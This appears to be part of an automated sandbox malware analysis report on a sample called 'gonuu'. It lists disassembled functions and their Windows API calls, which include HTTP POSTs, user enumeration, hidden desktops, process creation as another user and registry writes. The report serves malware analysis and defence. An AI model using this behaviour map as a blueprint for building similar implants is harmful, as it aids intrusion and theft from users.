    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042A69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 0042A6BE
    • GetProcAddress.KERNEL32(?,?), ref: 0042A6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 0042A710
    • StrCmpNIW.SHLWAPI(?,?), ref: 0042A733
    • FreeLibrary.KERNEL32 ref: 0042A75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,0040878D,?,?), ref: 0042A790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 0042A7C9
      • Part of subcall function 0040ADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 0040ADC8
      • Part of subcall function 0040ADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 0040AE31
      • Part of subcall function 0040ADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0040AE42
      • Part of subcall function 0040ADB4: LocalFree.KERNEL32(?), ref: 0040AE5A
    • NetApiBufferFree.NETAPI32(?), ref: 0042A862
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041DC58: PathSkipRootW.SHLWAPI(?), ref: 0041DC63
      • Part of subcall function 0041DC58: GetFileAttributesW.KERNEL32(?), ref: 0041DC8B
      • Part of subcall function 0041DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 0041DC99
      • Part of subcall function 00429ED2: LoadLibraryW.KERNEL32(?), ref: 00429EE9
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,?), ref: 00429F15
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00429F2C
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00429F44
      • Part of subcall function 00429ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00429F61
      • Part of subcall function 00429ED2: FreeLibrary.KERNEL32(?), ref: 00429FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 0042A875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 0042A899
      • Part of subcall function 0041C9F6: PathAddExtensionW.SHLWAPI(00000006,00000000), ref: 0041CA37
      • Part of subcall function 0041C9F6: GetFileAttributesW.KERNEL32(00000006), ref: 0041CA44
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042BA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 0042BA4D
    • CloseHandle.KERNEL32(00000000), ref: 0042BA5D
    • TlsFree.KERNEL32 ref: 0042BA68
    • CloseHandle.KERNEL32(00000000), ref: 0042BA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
    • CloseHandle.KERNEL32 ref: 0042BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
    • DeleteObject.GDI32(00000000), ref: 0042BAB8
    • DeleteDC.GDI32(00000000), ref: 0042BAC5
    • CloseHandle.KERNEL32(00000000), ref: 0042BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040E475, Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 354
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E51D
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E545, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 298
    APIs
    • SetWindowPlacement.USER32 ref: 0040E545
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00414044, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 185
    APIs
    • CloseHandle.KERNEL32 ref: 00414044
    • SetEndOfFile.KERNEL32 ref: 0041404A
    • SendDlgItemMessageW.USER32 ref: 00414050
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041A17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,00000000,00432530,8404F700,00000000), ref: 0041A1CB
    • InternetQueryOptionA.WININET(?,0000001F,?,00000001), ref: 0041A217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 0041A22C
    • HttpSendRequestA.WININET(?,00406FA8,00000013,?,?), ref: 0041A243
    • HttpQueryInfoA.WININET(?,20000013,00000000,?,00000000), ref: 0041A260
    • InternetCloseHandle.WININET ref: 0041A278
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00419DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00419DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00419DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00429EB5,00000000,?,?), ref: 00419E70
    • CloseHandle.KERNEL32(?), ref: 00419E83
    • CloseHandle.KERNEL32(?), ref: 00419E88
    • FreeLibrary.KERNEL32(?), ref: 00419E9F
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00414B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00414B85
    • ResetEvent.KERNEL32(?), ref: 00414BCD
    • PostMessageW.USER32(?,?), ref: 00414BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00414C06
      • Part of subcall function 004149F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00414A0F
      • Part of subcall function 004149F6: ResetEvent.KERNEL32(?), ref: 00414A65
      • Part of subcall function 004149F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414AA0
      • Part of subcall function 004149F6: TerminateProcess.KERNEL32(?,00000000), ref: 00414AB1
    • ResetEvent.KERNEL32(?), ref: 00414C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00414C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00414C7A
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    • IntersectRect.USER32(?,?,?), ref: 00414CA2
    • FillRect.USER32(?,?,00000006), ref: 00414CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00414CC8
      • Part of subcall function 0041CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
      • Part of subcall function 0041BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 0041BD50
      • Part of subcall function 0041BD45: CloseHandle.KERNEL32 ref: 0041BD5B
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042CCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 0041CC75: WindowFromPoint.USER32(?,?), ref: 0041CC91
      • Part of subcall function 0041CC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 0041CCC2
      • Part of subcall function 0041CC75: GetWindowLongW.USER32(?,000000F0), ref: 0041CCE6
      • Part of subcall function 0041CC75: SetWindowLongW.USER32(?,000000F0), ref: 0041CCF7
      • Part of subcall function 0041CC75: GetWindowLongW.USER32(00000002,000000F0), ref: 0041CD14
      • Part of subcall function 0041CC75: SetWindowLongW.USER32(?,000000F0), ref: 0041CD22
    • GetWindowLongW.USER32(?,000000F0), ref: 0042CDBC
    • GetParent.USER32 ref: 0042CDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CE03
    • IsWindow.USER32(?), ref: 0042CE26
      • Part of subcall function 0042C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
      • Part of subcall function 0042C7B3: ReleaseMutex.KERNEL32 ref: 0042C7ED
      • Part of subcall function 0042C7B3: IsWindow.USER32(?), ref: 0042C7F4
      • Part of subcall function 0042C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
      • Part of subcall function 0042C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    • GetWindowInfo.USER32(?,?), ref: 0042CE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 0042CFB3
      • Part of subcall function 0042CA22: GetAncestor.USER32(?,00000002), ref: 0042CA4B
      • Part of subcall function 0042CA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 0042CA76
      • Part of subcall function 0042CA22: PostMessageW.USER32(?,00000020,?), ref: 0042CAB8
      • Part of subcall function 0042CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CB4E
      • Part of subcall function 0042CA22: PostMessageW.USER32(?,00000112,?,?), ref: 0042CBA1
      • Part of subcall function 0042CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CBE0
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
      • Part of subcall function 0042C822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C836
      • Part of subcall function 0042C822: ReleaseMutex.KERNEL32 ref: 0042C855
      • Part of subcall function 0042C822: GetWindowRect.USER32(?,?), ref: 0042C862
      • Part of subcall function 0042C822: IsRectEmpty.USER32(?), ref: 0042C8E6
      • Part of subcall function 0042C822: GetWindowLongW.USER32(?,000000F0), ref: 0042C8F5
      • Part of subcall function 0042C822: GetParent.USER32(?), ref: 0042C90B
      • Part of subcall function 0042C822: MapWindowPoints.USER32(00000000), ref: 0042C914
      • Part of subcall function 0042C822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 0042C938
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040E62D, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267
    APIs
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E6E3, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267
    APIs
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F6A5, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 231
    APIs
    • SetWindowTextW.USER32 ref: 0040F6A5
    • GetWindowLongW.USER32 ref: 0040F6AB
    • LocalAlloc.KERNEL32 ref: 0040F6B1
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A899, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 211
    APIs
    • RegQueryValueExA.ADVAPI32 ref: 0040A899
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040AAF9, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 132
    APIs
    • EndPage.GDI32 ref: 0040AAF9
    • GetCursorPos.USER32 ref: 0040AAFF
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F387, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 94
    APIs
    • SetScrollPos.USER32 ref: 0040F387
    • MapAndLoad.IMAGEHLP(P0j69Yq,nFO70z,?,00000000,00000000), ref: 0040F401
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040F44E
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00426A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00426A79
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 004204BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00426AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00426D3F
      • Part of subcall function 0042697C: StringFromGUID2.OLE32(00407254,?,00000032), ref: 00426995
      • Part of subcall function 0042697C: CoGetObject.OLE32(?,?,00407264,?), ref: 004269F0
    • CoCreateInstance.OLE32(00407254,00000000,00004401,00407264,?), ref: 00426B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00426BE1
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00426C17
    • #2.OLEAUT32(?,?,?), ref: 00426C2B
    • CoCreateInstance.OLE32(00407274,00000000,00004401,00407284,?), ref: 00426CC6
    • #6.OLEAUT32(?,?,?), ref: 00426D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00426D2C
      • Part of subcall function 0041EBA1: CoUninitialize.OLE32 ref: 0041EBAF
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00428F82, Relevance: 15.2, APIs: 10, Instructions: 197
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • InterlockedExchange.KERNEL32(00434188,00000002,-00000007), ref: 00428FB5
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
      • Part of subcall function 00428964: PathRemoveFileSpecW.SHLWAPI(00434398), ref: 004289A0
      • Part of subcall function 00428964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 004289C0
      • Part of subcall function 00428964: GetFileAttributesW.KERNEL32(00434190), ref: 004289E3
    • GetFileAttributesW.KERNEL32(?), ref: 00429079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004290A1
      • Part of subcall function 0041D92E: GetFileSizeEx.KERNEL32(?,?), ref: 0041D93A
    • CloseHandle.KERNEL32 ref: 004290BF
    • lstrcmpiW.KERNEL32(?,?), ref: 004290EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00429114
      • Part of subcall function 0041FC68: RegOpenKeyExW.ADVAPI32(80000001,00433E88,00000000,00000001,?), ref: 0041FC91
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00428AB9: GetTickCount.KERNEL32 ref: 00428BB5
      • Part of subcall function 00428AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00428C06
      • Part of subcall function 00428AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00428C4B
      • Part of subcall function 00428AB9: GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00428C91
      • Part of subcall function 00429500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00429556
      • Part of subcall function 00429500: Sleep.KERNEL32(00001388), ref: 00429565
      • Part of subcall function 0041E6B7: FlushFileBuffers.KERNEL32 ref: 0041E6C3
      • Part of subcall function 0041E6B7: CloseHandle.KERNEL32(?), ref: 0041E6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 004291BF
    • InterlockedExchange.KERNEL32(00434188,?), ref: 004291DB
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    • GetFileAttributesW.KERNEL32(00434190), ref: 004291F7
    • InterlockedExchange.KERNEL32(00434188,00000000), ref: 0042920C
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 0042888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 004288A2
    • GetProcessWindowStation.USER32 ref: 004288B3
      • Part of subcall function 00428842: GetProcessWindowStation.USER32 ref: 00428846
      • Part of subcall function 00428842: SetProcessWindowStation.USER32(00000000), ref: 0042885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 004288EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00428902
    • GetCurrentThreadId.KERNEL32 ref: 0042890E
    • GetThreadDesktop.USER32 ref: 00428915
      • Part of subcall function 004287FD: lstrcmpiW.KERNEL32 ref: 00428822
    • SetThreadDesktop.USER32 ref: 00428927
    • CloseDesktop.USER32 ref: 00428939
    • CloseWindowStation.USER32(?), ref: 00428954
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00421F30, Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 416
    APIs
      • Part of subcall function 004191F6: CharLowerA.USER32(?), ref: 004192C6
      • Part of subcall function 004191F6: CharLowerA.USER32(?), ref: 004192D0
      • Part of subcall function 004182C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004182DD
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 0041D156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 0041D279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00422289
    • GetSystemTime.KERNEL32(?), ref: 004222A8
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • LeaveCriticalSection.KERNEL32(00433FEC), ref: 0042241A
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    • GetLocalTime.KERNEL32(?), ref: 004223B2
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
